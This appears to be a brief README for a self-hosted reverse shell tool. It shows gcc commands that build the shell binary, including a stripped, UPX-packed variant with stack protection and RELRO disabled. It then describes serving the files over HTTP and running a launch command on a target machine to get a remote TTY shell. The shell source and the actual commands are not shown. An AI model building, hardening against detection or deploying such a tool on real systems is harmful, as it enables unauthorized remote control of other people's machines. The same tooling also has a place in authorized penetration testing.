Self-hosted reverse shell as a service.
Compile the reverse shell:
# Bad idea
gcc -o reverse reverse.c
# Good idea
gcc -static -O3 -o reverse reverse.c
# Complex idea
gcc -static -O3 -s -fno-stack-protector -fomit-frame-pointer -mpreferred-stack-boundary=2 -z norelro -fno-exceptions -fno-asynchronous-unwind-tables -o reverse reverse.c
strip -s reverse
upx --best --ultra-brute reverse
Host this directory with a web server:
python3 -m http.server
- Open
index.html
in a browser - Run the command from the "Wait For Reverse Shell" section on your host
- Run the command from the "Launch Reverse Shell" section on the target machine
- Enjoy your TTY shell